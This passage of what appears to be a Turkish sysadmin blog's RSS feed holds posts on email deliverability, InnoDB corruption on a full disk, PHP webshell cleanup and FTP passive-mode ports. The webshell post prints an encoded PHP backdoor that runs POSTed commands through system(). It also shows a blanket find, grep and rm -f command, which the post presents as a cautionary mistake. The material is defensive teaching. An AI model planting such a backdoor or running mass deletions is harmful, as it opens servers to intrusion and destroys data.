<p>Yeni Dedicated IP alınmış ama DNS'teki SPF kaydı hâlâ eski IP'yi göstermektedir! Alıcı sunucu bakar: <em>"Mail <code>185.120.45.99</code> IP'sinden geldi ama alan adının SPF kaydı bu IP'ye yetki vermemiş!"</em> Teşhis anında konur: <strong>Bu bir sahtecilik (Spoofing) girişimidir!</strong> Ve mail doğrudan spam çöpüne fırlatılır.</p>
<h3>2. Soğuk IP Tuzağı (IP Warming Gereksinimi)</h3>
<p>Daha da kötüsü, sıfır bir Dedicated IP aslında bir avantaj değil; e-posta dünyasında <strong>büyük bir dezavantajdır!</strong></p>
<p>Gmail, Microsoft ve Yahoo algoritmaları, dünyada daha önce hiç e-posta göndermemiş "yepyeni" bir IP adresine asla güvenmez. Siber korsanlar sürekli yeni IP satın alıp spam bastığı için, büyük sağlayıcılar geçmişi olmayan (history-less) yeni IP'leri varsayılan olarak "şüpheli" kabul eder.</p>
<p>Yeni bir IP'nin itibar kazanması için <strong>"IP Warming" (IP Isıtma)</strong> protokolü uygulanmalıdır: İlk hafta günde sadece 50 mail atılır, ikinci hafta 100, üçüncü hafta 200... Yavaş yavaş güven inşa edilir. Sıfır IP alır almaz aynı gün 2.000 müşteriye bodoslama kampanya maili basarsanız, o temiz Dedicated IP 2 saat içinde Spamhaus kara listesine kurban gider!</p>
<h3>3. İçerik Toksisitesi ve Alan Adı Kara Listesi (Domain Blacklist)</h3>
<p>Spam filtreleri sadece IP'ye bakmaz; göndericinin alan adına (<code>sirketadi.com.tr</code>) ve mektubun içeriğine bakar:</p>
<ul>
<li>Eğer geçmişte alan adınızdan toplu spam basılmışsa, alan adınızın kendisi Google'ın ve Spamhaus DBL'in (Domain Block List) kara listesindedir. Siz IP'yi elli kere değiştirseniz bile alan adınız lekeli olduğu için mailleriniz spam'e düşmeye devam eder.</li>
<li>Mailin gövdesinde sadece büyük harfler kullanmak ("LÜTFEN ACİL AÇINIZ"), metin içermeyen tek bir büyük afiş görseli göndermek veya güvensiz linkler paylaşmak algoritmaların gözünde doğrudan spam bayrağıdır.</li>
</ul>
<h3>E-Posta İtibarını Zirveye Taşıma Protokolü</h3>
<p>Takım elbiseyle sepsisi iyileştiremezsiniz; önce kanı antibiyotikle temizlemeniz gerekir. E-postalarınızın doğrudan gelen kutusuna (inbox) düşmesini sağlamanın gerçek mühendislik adımları şunlardır:</p>
<ol>
<li><strong>DNS Kriptografik Hijyeni:</strong> SPF, DKIM ve DMARC kayıtlarınızı eksiksiz yapılandırın. <code>v=DMARC1; p=reject;</code> politikasıyla alan adınızı sahte gönderimlere karşı çelik zırhla kaplayın.</li>
<li><strong>Ters DNS (rDNS / PTR Kaydı):</strong> Dedicated IP kullanıyorsanız veri merkezinize mutlaka o IP için alan adınızı gösteren bir <strong>PTR (Pointer) kaydı</strong> açtırın (<code>185.120.45.99 -> mail.sirketadi.com.tr</code>). PTR kaydı olmayan bir Dedicated IP, ehliyetsiz araba kullanmak gibidir; anında kenara çekilir.</li>
<li><strong>Mail-Tester ile Skor Denetimi:</strong> Gönderdiğiniz bir e-postayı <code>mail-tester.com</code> gibi bağımsız analiz araçlarına gönderin. 10 üzerinden 10 puan alana kadar içeriğinizi, başlıklarınızı ve DNS yapılandırmanızı optimize edin.</li>
<li><strong>Kurumsal SaaS E-Posta Altyapıları:</strong> Günde binlerce resmi yazışma yapan kurumsal bir firmaysanız; paylaşımlı hostingin yerel Exim motoruyla uğraşmak yerine Google Workspace veya Microsoft 365 gibi trilyonlarca dolarlık itibar ağına sahip profesyonel bulut altyapılarına geçin.</li>
</ol>
<p>Özel IP satın almak sihirli bir değnek değildir. İtibar parayla bir günde satın alınamaz; teknik standartlara gösterilen sadakatle, temiz içerikle ve dijital hijyenle adım adım hak edilir. Lekeli bir geçmişi sıfır bir IP ile örtmeye çalışmak, kırık bacağı yara bandıyla sarmaktan farksızdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Dedicated IP</category>
            <category>E-Posta</category>
            <category>Spam</category>
            <category>SPF</category>
            <category>Domain Reputation</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bana-ozel-ip-verin-spame-dusmeyeyim-sehir-efsanesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Disk Alanı Dolunca Çöken MySQL / MariaDB Veritabanı"]]></title>
            <link>http://localhost:3000/blog/post/disk-alani-dolunca-coken-mysql--mariadb-veritabani</link>
            <guid>disk-alani-dolunca-coken-mysql--mariadb-veritabani</guid>
            <pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucunun /var veya log dizininin %100 dolmasıyla diskte yer bulamayıp acil kapanan MySQL/MariaDB servisini, yer açmadan art arda "systemctl restart" ile zorlayıp InnoDB veri dosyalarını kurtarılamaz şekilde bozan acemi yönetici hezeyanı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/disk-alani-dolunca-coken-mysql--mariadb-veritabani/thumbnail" alt=""> Göğüs cerrahisinde ve acil travma kliniklerinde hekimlerin en çok korktuğu ölümcül tablolardan biri "Tansiyon Pnömotoraks"tır. Göğüs kafesinin içine biriken hava veya plevral kanama (masif hemotoraks), o kapalı alanda devasa bir basınç oluşturur. Akciğer dokusu genişleyecek fiziksel alan bulamaz; basınç altında ezilir, büzüşür ve tamamen söner (kollabe olur). Kalbe dönen ana toplardamarlar ezildiği için kardiyak debi sıfırlanır.</p>
<p>Şimdi düşünün ki acemi bir asistan hekim, göğüs kafesini bir iğne veya dren tüpüyle delip o sıkışan havayı/kanamayı dışarı tahliye etmek (yer açmak) yerine; hastanın ağzına mekanik ventilatörün hortumunu sokup en yüksek basınçla içeriye hava basmaya çalışıyor! Sonuç ne olur? Genişleyecek yeri olmayan akciğer dokusu o basınç karşısında yırtılır, kalp tamponadı gelişir ve hasta ameliyat masasında feci şekilde can verir. Yapılması gereken şey basmak değil, önce sıkışan alanı boşaltmaktır.</p>
<p>Linux sunucu yönetiminde ve veritabanı mühendisliğinde de acemi yöneticilerin panikle yaptığı ve yüz binlerce liralık kurumsal veritabanlarını mezarlığa çeviren en büyük felaket tam olarak bu mekanik ventilatör cinayetidir: <strong>Diski %100 dolan MySQL/MariaDB servisini, diskte yer açmadan zorla <code>systemctl restart</code> ile ayağa kaldırmaya çalışıp InnoDB tablolarını (ibdata1) parçalamak.</strong></p>
<h3>Gece 03:00: Diskin Sessizce Boğulması</h3>
<p>Bir e-ticaret sitesinin, SaaS platformunun veya kurumsal portalın barındığı Linux sunucusunda işler yolunda gitmektedir. Ancak sistem yöneticisi log rotasyonunu (<code>logrotate</code>) doğru yapılandırmayı unutmuştur.</p>
<p>Apache veya Nginx'in <code>access_log</code> ve <code>error_log</code> dosyaları aylardır şişmektedir: 20 GB... 50 GB... 90 GB...</p>
<p>Ve gece saat 03:15'te sunucunun ana disk bölümü (<code>/</code> veya <code>/var</code>) o kaçınılmaz sınıra toslar:</p>
<pre><code class="language-text">Filesystem      Size  Used Avail Use% Mounted on
/dev/nvme0n1p1  100G  100G     0 100% /
</code></pre>
<p>Diskte kalan boş alan: <strong>Tam sıfır bayt!</strong></p>
<p>O sırada MySQL veritabanı motoru hafızadaki transaction loglarını diske yazmak ister (<code>redo log flush</code>). Diske bir bayt bile yazamaz. İşletim sistemi <code>No space left on device</code> hatası döndürür.</p>
<p>MySQL/MariaDB son derece akıllı ve disiplinli bir cerrahtır. Diske yazamadığı an veritabanının bütünlüğünü korumak için tek bir güvenli hamle yapar: <strong>Panik moduna girer ve kendini güvenli bir şekilde kapatır (Emergency Shutdown).</strong></p>
<p>Sabah mesaisi başladığında web siteleri o meşhur hatayı verir:</p>
<blockquote>
<p><strong>"Error establishing a database connection"</strong></p>
</blockquote>
<h3>Acemi Yöneticinin İntihar Refleksi: "Restart Çekelim Düzelir!"</h3>
<p>Şirketin acemi sistem yöneticisi veya dışarıdan destek veren teknisyeni sunucuya SSH ile bağlanır. Durumun nedenini araştırmaz, logları okumaz. Windows refleksinden kalma o en ilkel alışkanlığı devreye sokar: <em>"Servisi yeniden başlatalım, düzelir!"</em></p>
<p>Terminale komutu yapıştırır:</p>
<pre><code class="language-bash">systemctl restart mariadb
# veya
service mysql restart
</code></pre>
<p>Ekranda birkaç saniye sonra kırmızı bir hata patlar:</p>
<pre><code class="language-text">Job for mariadb.service failed because the control process exited with error code.
See "systemctl status mariadb.service" and "journalctl -xe" for details.
</code></pre>
<p>Yönetici panikler. <code>"Nasıl başlamaz?"</code> diyerek komutu tekrar yazar. Bir daha restart! Bir daha! Üçüncü, dördüncü, beşinci deneme...</p>
<p>İşte tansiyon pnömotoraks hastasının ciğerini patlatan an bu andır!</p>
<h3>InnoDB'nin Ölümü: Parçalanan ibdata1 ve Tablespace</h3>
<p>InnoDB depolama motoru başlatılırken önce <code>ib_logfile0</code> ve <code>ib_logfile1</code> dosyalarını okur, yarım kalan işlemleri tamamlamak için geçici alanlar (<code>ibtmp1</code>) oluşturmaya çalışır.</p>
<p>Fakat diskte sıfır bayt yer vardır!</p>
<p>MySQL açılmaya çalışırken diske geçici dosya yazamadığı için tam başlangıç aşamasında yarıda kesilir (SIGABRT / Crash). Yönetici bunu art arda beş kez tekrarladığında, InnoDB'nin o hassas ikili işaretçileri (pointers), veri sayfaları ve <code>ibdata1</code> ana sistem tablosu yarım kalmış yazma operasyonlarının kurbanı olur.</p>
<p>Log dosyaları bozulur. Tablespace başlıkları (headers) geçersiz hale gelir.</p>
<p>Yönetici nihayet diskin dolu olduğunu fark eder: <code>df -h</code>. Bir log dosyasını siler, 10 GB yer açar. Ve sevinçle tekrar yazar: <code>systemctl start mariadb</code>.</p>
<p>Fakat artık çok geçtir! MariaDB hata günlüğünde o buz gibi ölüm raporu parıldar:</p>
<pre><code class="language-text">[ERROR] InnoDB: Page [page id: space=0, page number=241] log sequence number 
849182914 is in the future! Current LSN is 848911020.
[ERROR] InnoDB: Database was not shut down normally!
[ERROR] InnoDB: Corruption of an index tree: table `firma_db`.`orders` ...
[ERROR] InnoDB: Plugin initialization failed with error Generic error
[ERROR] Plugin 'InnoDB' registration as a STORAGE ENGINE failed.
[ERROR] Aborting
</code></pre>
<p>Veritabanı motoru artık ayağa kalkamaz; çünkü o şuursuz restart denemeleriyle veritabanının kemikleri kırılmış, omurgası felç edilmiştir!</p>
<h3>Yoğun Bakım Ameliyatı: <code>innodb_force_recovery</code></h3>
<p>Bu aşamadan sonra veritabanını kurtarmak, açık kalp ameliyatı kadar hassas ve riskli bir cerrahi operasyondur:</p>
<ol>
<li><strong>Önce Mevcut Bozuk Durumun Ham İmajını Alın:</strong> Hiçbir komut çalıştırmadan önce <code>/var/lib/mysql</code> dizinini harici bir diske veya dizine doğrudan ham haliyle kopyalayın (<code>cp -rp /var/lib/mysql /var/lib/mysql_backup</code>).</li>
<li><strong>Kurtarma Modunu Devreye Alın (<code>my.cnf</code>):</strong><br>
MySQL ayar dosyasına InnoDB'nin çökmüş sayfaları görmezden gelip sadece salt-okunur (read-only) modda açılmasını sağlayan acil servis parametresini ekleyin:
<pre><code class="language-ini">[mysqld]
innodb_force_recovery = 1
</code></pre>
Eğer 1 seviyesinde açılmazsa bu seviyeyi kademeli olarak 2, 3 ve en fazla 4'e kadar yükseltin (5 ve 6 seviyeleri veriyi kalıcı olarak bozabilir!).</li>
<li><strong>Servisi Başlatın ve Döküm Alın (mysqldump):</strong> Veritabanı salt-okunur olarak ayağa kalktığı saniyede tüm veritabanlarını metin formatında döküm alın:
<pre><code class="language-bash">mysqldump --all-databases --routines --triggers > /root/kurtarilan_veriler.sql
</code></pre>
</li>
<li><strong>Veritabanını Sıfırdan İnşa Edin:</strong> Servisi durdurun, <code>/var/lib/mysql</code> dizinini temizleyin, <code>mysql_install_db</code> ile sıfır temiz bir veritabanı kümesi oluşturun ve kurtarılan o <code>.sql</code> dosyasını içeri aktarın.</li>
</ol>
<h3>Diskin Boğulmasını Önleme Protokolü</h3>
<p>Bir veritabanının disk doluluğundan ölmesini engellemek için izlenmesi gereken asgari sistem mühendisliği kuralları şunlardır:</p>
<ul>
<li><strong>Ayrı Bölümleme (Partitioning):</strong> Veritabanı dizinini (<code>/var/lib/mysql</code>) işletim sisteminin ve logların bulunduğu ana kök (<code>/</code>) diskinden tamamen ayırın. Veritabanı bağımsız, izole bir NVMe disk bölümünde (<code>/data/mysql</code>) yaşamalıdır. Böylece Nginx logları 100 GB bile dolsa, veritabanının diski asla dolmaz!</li>
<li><strong>Otomatik Disk İzleme ve Alarm:</strong> Zabbix, Prometheus veya basit bir cron betiği ile disk doluluğu <strong>%85</strong> seviyesine ulaştığında yöneticinin telefonuna acil durum bildirimi göndermek.</li>
<li><strong>Logrotate Disiplini:</strong> Sunucudaki tüm web ve veritabanı loglarının günlük rotasyona tabi tutulması ve 7 günden eski logların otomatik sıkıştırılıp silinmesi.</li>
<li><strong>Asla Körlemesine Restart Atmayın:</strong> Bir servis çöktüğünde ilk bakılacak yer <code>df -h</code> (disk doluluğu) ve <code>tail -n 100 /var/log/messages</code> olmalıdır. Nedeni bilinmeyen bir çöküşü restart ile zorlamak, arızayı kalıcı hasara dönüştürmekten başka bir işe yaramaz.</li>
</ul>
<p>Nefes borusu tıkanmış hastayı döverek uyandıramazsınız; önce o boruyu açmanız gerekir. Diski dolan veritabanını da zorla yeniden başlatmak veriyi kurtarmaz; sadece dijital tabutun çivilerini çakar. Soğukkanlılık ve doğru teşhis, cerrahide olduğu gibi sistem mühendisliğinde de hayat ile ölüm arasındaki tek köprüdür.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>MySQL</category>
            <category>MariaDB</category>
            <category>InnoDB</category>
            <category>Disk Yönetimi</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/disk-alani-dolunca-coken-mysql--mariadb-veritabani/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["PHP eval() / base64_decode() Temizliği": Sunucu Genelinde Karantina Kabusu]]></title>
            <link>http://localhost:3000/blog/post/php-eval--base64_decode-temizligi-sunucu-genelinde-karantina-kabusu</link>
            <guid>php-eval--base64_decode-temizligi-sunucu-genelinde-karantina-kabusu</guid>
            <pubDate>Mon, 23 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Paylaşımlı sunucuya bulaşan bir webshell zararlısını temizlemek için terminalden körlemesine "grep -rn eval(base64 | xargs rm" çalıştıran acemi sistemcinin, meşru şifreli eklentileri de silerek 100 masum kurumsal siteyi aynı anda katletmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/php-eval--base64_decode-temizligi-sunucu-genelinde-karantina-kabusu/thumbnail" alt=""> Onkolojik cerrahide "Temiz Cerrahi Sınır" (Negative Margin) kuralı en hassas dengelerden biridir. Kanserli bir tümörü vücuttan çıkarırken cerrah mikroskobik düzeyde tümörün etrafından birkaç milimetre sağlıklı dokuyu da alır ki arkada tek bir kanser hücresi kalmasın.</p>
<p>Şimdi gözünüzün önüne bir kasap hekim getirin: Hastanın sol el işaret parmağının ucunda 1 santimetrelik küçük bir kitle görüyor. Kitleyi biyopsiyle incelemek, mikroskop altında sınırlarını çizmek yerine; <em>"Burada yabancı hücre var, kökünü kazıyacağım!"</em> diyerek eline baltayı alıyor ve hastanın sol kolunu omuzdan itibaren kesip atıyor! Hasta kanserden ölmemiştir; fakat cerrahın o şuursuz, kör ve orantısız "tedavisi" yüzünden sakat kalmış veya kan kaybından hayatını kaybetmiştir. Tıpta teşhis olmadan tedavi, cinayettir.</p>
<p>Siber güvenlikte ve Linux sunucu yönetiminde de sistem yöneticilerinin zararlı yazılım (malware) panikliğinde yaptığı ve sunucudaki tüm ekosistemi yerle bir eden en büyük operasyonel cinayet tam olarak bu baltalı cerrahi faciasıdır: <strong>Terminalden körlemesine <code>eval(base64_decode</code> regex'i çalıştırıp meşru dosyaları da katletmek.</strong></p>
<h3>Gece Yarısı Tehdit: Sunucuya Sızan Webshell</h3>
<p>Olay genellikle paylaşımlı bir sunucuda barınan bir WordPress sitesine korsan (nulled) bir eklenti veya güvenlik açığı barındıran bir form üzerinden zararlı bir PHP webshell (<code>c99</code>, <code>r57</code> veya gizli bir backdoor) yüklenmesiyle başlar.</p>
<p>Zararlı kod klasik bir gizleme (obfuscation) tekniği kullanır:</p>
<pre><code class="language-php">&#x3C;?php
// Şüpheli ve zararlı kod:
eval(base64_decode("aWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpeyBzeXN0ZW0oJF9QT1NUWydjbWQnXT);IH0="));
?>
</code></pre>
<p>Sunucu antivirüs tarayıcısı (Imunify / ClamAV) gecikmeli bir alarm verir. Nöbetçi sistem mühendisi terminali açar. Karşılaştığı tablo karşısında panikler: Sunucudan dışarıya doğru spam e-postalar çıkmakta veya DDoS saldırısı gitmektedir.</p>
<p>Mühendisin bir an önce bu enfeksiyonu durdurması gerekmektedir. Ancak derinlemesine adli bilişim (forensics) yapmak, enfekte olan hesabı CloudLinux CageFS ile izole etmek yerine; aklına gelen o "dahice" tek satırlık Linux komutunu root yetkisiyle terminale yapıştırır:</p>
<pre><code class="language-bash"># Cinayet komutu:
find /home/*/public_html -type f -name "*.php" -exec grep -l "eval(base64_decode" {} \; | xargs rm -f
</code></pre>
<p>Mühendis enter tuşuna basar. Terminal 40 saniye boyunca sessizce çalışır. Ve binlerce dosya diskin sektörlerinden kalıcı olarak silinir!</p>
<p>Mühendis arkasına yaslanır, kahvesinden bir yudum alır: <em>"İşte böyle, bütün virüsleri tek komutla kökünden sildim!"</em></p>
<p>Oysa o sırada sunucuda barınan 100 farklı masum şirketin web sitelerinde kıyamet kopmaktadır.</p>
<h3>Kanserle Birlikte Ölen Masum Organlar: ionCube ve Ticari Eklentiler</h3>
<p>Mühendisin unuttuğu şey, internetteki her şifrelenmiş veya <code>eval(base64_decode)</code> kullanan kodun bir virüs olmadığı gerçeğidir!</p>
<p>Dünya genelinde geliştiriciler, kendi yazdıkları ticari eklentilerin kaynak kodlarını ve lisans doğrulama mekanizmalarını korsanlara karşı korumak için benzer şifreleme ve paketleme yöntemleri kullanırlar:</p>
<ul>
<li><strong>ionCube Loader ve SourceGuardian</strong> korumalı ticari e-fatura modülleri,</li>
<li>Bankaların resmi Sanal POS entegrasyon kütüphaneleri,</li>
<li>WHMCS lisans dosyaları,</li>
<li>Slider Revolution veya WPML gibi devasa eklentilerin şifrelenmiş şablon derleyicileri.</li>
</ul>
<p>Mühendisin o kör komutu, sunucudaki o masum e-fatura modüllerini, banka sanal POS dosyalarını ve lisans kütüphanelerini de "virüs" sanarak acımasızca silmiştir (<code>rm -f</code>)!</p>
<h3>Sabah 09:00: Yüz Şirketin Birden Ölümü</h3>
<p>Sabah mesaisi başladığında hosting firmasının santrali kilitlenir. Destek biletleri ekranı patlar:</p>
<blockquote>
<p><em>"Sitemizdeki Sanal POS modülü yok olmuş! Müşteriler kartla ödeme yapamıyor!"</em><br>
<em>"Fatura kesen eklentimiz çalışmıyor, 'Fatal error: required file missing' diyor!"</em><br>
<em>"Sitemizin ana sayfasındaki manşet kayboldu, tasarım çöktü!"</em></p>
</blockquote>
<p>Yüz farklı kurumsal firmanın web sitesi, virüsten dolayı değil; bizzat hosting firmasının sistem yöneticisinin baltayla yaptığı o şuursuz ameliyat yüzünden felç kalmıştır!</p>
<p>Daha da kötüsü, Linux terminalinde <code>rm -f</code> ile silinen dosyalar geri dönüşüm kutusuna gitmez; dosya sistemi tablosundan (inode) doğrudan silinir. Şirketin sunucuda anlık bir yedekleme mekanizması (snapshot) yoksa, o silinen ticari eklentileri geri getirmek imkânsız hale gelir.</p>
<h3>Cerrahi Güvenlik: Zararlı Yazılım Nasıl Temizlenir?</h3>
<p>Siber güvenlikte "silmek" (delete) en son ve en tehlikeli adımdır. Profesyonel bir enfeksiyon temizliği şu cerrahi adımlarla yürütülür:</p>
<ol>
<li><strong>İzolasyon ve Karantina (Quarantine, Asla Silmeyin!):</strong> Şüpheli dosyaları doğrudan <code>rm</code> ile silmeyin! Onları sistemden tecrit edilmiş bir karantina dizinine taşıyın veya izinlerini sıfırlayın:
<pre><code class="language-bash"># Dosyayı silmek yerine yetkisini sıfırla (çalışamaz hale getir):
chmod 000 supheli_dosya.php
# Veya izole karantina klasörüne taşı:
mv supheli_dosya.php /root/quarantine/
</code></pre>
Böylece meşru bir dosya yanlışlıkla yakalanırsa tek bir komutla geri yüklenebilir.</li>
<li><strong>Hash ve İmza Tabanlı Tarama (YARA Kuralları):</strong> Kaba metin aramak yerine <strong>Maldet (Linux Malware Detect)</strong> veya <strong>YARA kuralları</strong> kullanın. Bu araçlar sadece kelimeye değil, dosyanın mimarisine, bilinen zararlı imza veritabanlarına bakar; meşru lisans dosyalarını virüslerden kolaylıkla ayırt eder.</li>
<li><strong>Değişiklik Tarihi (mtime) Analizi:</strong> Enfeksiyon genellikle son birkaç günde gerçekleşmiştir. Tüm sunucuyu değil, sadece son 48 saatte değişen dosyaları tarayın:
<pre><code class="language-bash">find /home/*/public_html -type f -name "*.php" -mtime -2
</code></pre>
</li>
<li><strong>Git ve Orijinal Çekirdek ile Karşılaştırma:</strong> WordPress veya bilinen CMS sistemlerinde enfekte dosyaları elle temizlemek yerine; resmi depodan sıfır <code>wp-admin</code> ve <code>wp-includes</code> klasörlerini indirip üzerlerine yazın (Core Reinstall). Çekirdek dosyalar tertemiz olurken hiçbir veri kaybı yaşanmaz.</li>
</ol>
<p>Parmaktaki siğili tedavi etmek için kolu omuzdan kesen cerrah tıp tarihinin yüz karasıdır. Bir sunucudaki zararlıyı temizleyeceğim diye masum yüzlerce sitenin kodlarını silip atan sistem mühendisi de siber güvenliğin en büyük tehdididir. Güvenlik güç gösterisiyle değil; milimetrik dikkatle, analizle ve cerrahi bir sabırla inşa edilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Malware</category>
            <category>Siber Güvenlik</category>
            <category>Linux</category>
            <category>PHP</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/php-eval--base64_decode-temizligi-sunucu-genelinde-karantina-kabusu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["FTP Pasif Mod (Passive Mode) ve Port Aralığı" İşkencesi]]></title>
            <link>http://localhost:3000/blog/post/ftp-pasif-mod-passive-mode-ve-port-araligi-iskencesi</link>
            <guid>ftp-pasif-mod-passive-mode-ve-port-araligi-iskencesi</guid>
            <pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[FileZilla ile sunucuya bağlanırken "Bağlandı" deyip tam dosya listesini çekeceği sırada (MLSD komutunda) donup zaman aşımına uğrayan FTP oturumları ve güvenlik duvarında pasif port aralığını unutan sistem yöneticisinin yarattığı sinir harbi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ftp-pasif-mod-passive-mode-ve-port-araligi-iskencesi/thumbnail" alt=""> Büyük bir poliklinik binasını gözünüzün önüne getirin. Randevu saatinizde binanın ana giriş kapısına geliyorsunuz. Güvenlik görevlisi kimliğinizi kontrol ediyor, turnikeden geçiyorsunuz, danışma memuru güler yüzle <em>"Hoş geldiniz Ahmet Bey, muayene odanız 3. katta 312 numaradır"</em> diyor. Her şey son derece kusursuz ve profesyonel görünmektedir.</p>
<p>Merdivenleri çıkıp 3. kata geliyorsunuz; koridorun başındaki yangın kapısına elinizi atıyorsunuz: Kilitli! Asansör kapısı: Kilitli! Koridordaki tüm ara kapılar kilitlenmiştir. Danışmadan içeri girmişsinizdir fakat doktorun muayene odasına ulaşacak tek bir açık koridor bile yoktur! Danışma görevlisi aşağıdan <em>"Sizi içeri aldık ya, niye muayene olmuyorsunuz?"</em> diye bağırır; siz ise kapalı kapıların önünde çaresizce donakalmışsınızdır.</p>
<p>Ağ mühendisliğinde ve web barındırma altyapılarında, internetin ta 1970'lerden kalma en yaşlı ve en antika protokolü olan <strong>FTP (File Transfer Protocol)</strong> ile çalışırken destek masalarını en çok kilitleyen o meşhur kriz tam olarak bu kilitli koridor trajedisidir: <strong>FTP Pasif Mod (Passive Mode) ve Güvenlik Duvarında Unutulan Port Aralığı.</strong></p>
<h3>FileZilla Ekranındaki Donma: O Uğursuz "MLSD" Komutu</h3>
<p>Pazartesi sabahı şirketin web tasarımcısı veya müşterisi FileZilla programını açar. Sunucu bilgilerini girer:</p>
<ul>
<li>Sunucu: <code>ftp.sirketadi.com.tr</code></li>
<li>Kullanıcı Adı: <code>firma_ftp</code></li>
<li>Parola: <code>******</code></li>
<li>Port: <code>21</code></li>
</ul>
<p><strong>"Hızlı Bağlan"</strong> butonuna tıklar.</p>
<p>FileZilla günlüğünde yeşil renkli komutlar hızla akmaya başlar:</p>
<pre><code class="language-text">Durum: ftp.sirketadi.com.tr:21 adresine bağlanılıyor...
Durum: Bağlantı kuruldu, karşılama iletisi bekleniyor...
Yanıt: 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
Komut: USER firma_ftp
Yanıt: 331 User firma_ftp OK. Password required
Komut: PASS ******
Yanıt: 230 OK. Current restricted directory is /
Durum: Oturum açıldı
Komut: SYST
Yanıt: 215 UNIX Type: L8
Komut: PWD
Yanıt: 257 "/" is your current location
Durum: Klasör listesi alınıyor...
Komut: TYPE I
Yanıt: 200 TYPE is now 8-bit binary
Komut: PASV
Yanıt: 227 Entering Passive Mode (185,120,45,12,117,48)
Komut: MLSD
</code></pre>
<p>Ve tam bu satırda ekran donar!</p>
<p>İmleç yanıp söner. FileZilla 10 saniye, 20 saniye bekler... Ve ekranda kırmızı harflerle o buz gibi ölüm fermanı patlar:</p>
<pre><code class="language-text">Hata: Bağlantı zaman aşımına uğradı (Connection timed out after 20 seconds of inactivity)
Hata: Klasör listesi alınamadı
</code></pre>
<p>Müşteri panikle tekrar dener; yine aynı hata! Üçüncü deneme; yine MLSD satırında donar.</p>
<p>Müşteri telefon santralini arar:</p>
<blockquote>
<p><em>"Sizin sunucunuz bozuk! FTP şifremi doğru giriyorum, oturum açıldı diyor ama klasörlerimi göstermiyor! 'Zaman aşımı' verip atıyor beni! Sabahtan beri siteye dosya atamadım, ticaretim durdu! Derhal düzeltin şu FTP'yi!"</em></p>
</blockquote>
<h3>İki Ayrı Kanal: Kontrol Kapısı vs. Veri Koridoru</h3>
<p>Bu sendromun kökeninde, FTP'nin modern internet protokollerinden (HTTP, SSH) tamamen farklı çalışan o arkaik, iki kanallı mimarisi yatar.</p>
<p>Modern protokoller (örneğin SFTP veya HTTPS) tek bir port üzerinden (Port 22 veya 443) hem komutları hem de verileri taşır. Oysa FTP <strong>iki ayrı TCP bağlantısı</strong> kurar:</p>
<ol>
<li><strong>Kontrol Kanalı (Port 21):</strong> Kullanıcı adı, şifre ve komutların (<code>USER</code>, <code>PASS</code>, <code>PWD</code>) iletildiği kapıdır. FileZilla bu kapıdan girer ve oturumu açar.</li>
<li><strong>Veri Kanalı (Data Channel - Pasif Portlar):</strong> Dosyaların transfer edildiği ve dizin listesinin (<code>LIST</code> veya <code>MLSD</code>) aktarıldığı asıl koridordur!</li>
</ol>
<p>İstemci <code>PASV</code> (Pasif Mod) komutu gönderdiğinde, sunucu der ki:<br>
<em>"Pekala Ahmet Bey, oturumunuz açıldı. Şimdi dosya listesini sana gönderebilmem için lütfen git benim <strong>30.142</strong> numaralı portuma bağlan!"</em></p>
<p>İşte dananın kuyruğu tam burada kopar!</p>
<p>Sunucunun önünde çalışan güvenlik duvarı (iptables, CSF veya veri merkezi donanım firewall'u), Port 21'i dış dünyaya açmıştır (danışma kapısı açıktır). Fakat sunucunun Pure-FTPd veya ProFTPD servisi tarafından rastgele açılan o <strong>30.000 ile 35.000 arasındaki pasif veri portlarını</strong> güvenlik duvarında izinli (whitelist) kılmayı unutmuştur!</p>
<p>FileZilla sunucunun 30.142 portuna bağlanmaya çalışır; güvenlik duvarı kapıyı küt diye yüzüne kapatır (<code>DROP</code>). Paketler kaybolur, 20 saniye sonra zaman aşımı patlar ve dosya listesi asla yüklenemez.</p>
<h3>Çözüm: Pasif Port Aralığını Mühürlemek ve Açmak</h3>
<p>Bu 50 yıllık protokol krizini çözmenin ve FTP'yi tıkır tıkır çalıştırmanın mühendislik adımları bellidir:</p>
<h4>1. FTP Daemon Yapılandırmasında Portları Sabitlemek</h4>
<p>Varsayılan olarak FTP sunucuları rastgele yüksek portlar (1024-65535) seçmeye kalkabilir. Bunu dar ve kontrollü bir aralığa hapsetmek gerekir:</p>
<p>Pure-FTPd için (<code>/etc/pure-ftpd.conf</code>):</p>
<pre><code class="language-ini">PassivePortRange 30000 35000
# Eğer sunucu NAT arkasındaysa genel IP'yi belirtin:
ForcePassiveIP 185.120.45.12
</code></pre>
<p>ProFTPD için (<code>/etc/proftpd.conf</code>):</p>
<pre><code class="language-apache">PassivePorts 30000 35000
MasqueradeAddress 185.120.45.12
</code></pre>
<h4>2. Güvenlik Duvarında (CSF / iptables) Portları Açmak</h4>
<p>Belirlediğiniz bu 30000-35000 TCP port aralığını güvenlik duvarının gelen port listesine (<code>TCP_IN</code>) ekleyin:</p>
<p><code>/etc/csf/csf.conf</code> dosyasını açın:</p>
<pre><code class="language-text"># TCP_IN satırının sonuna ekleyin:
TCP_IN = "20,21,22,25,53,80,110,143,443,465,587,993,995,30000:35000"
</code></pre>
<p>Ardından güvenlik duvarını yeniden başlatın:</p>
<pre><code class="language-bash">csf -r
</code></pre>
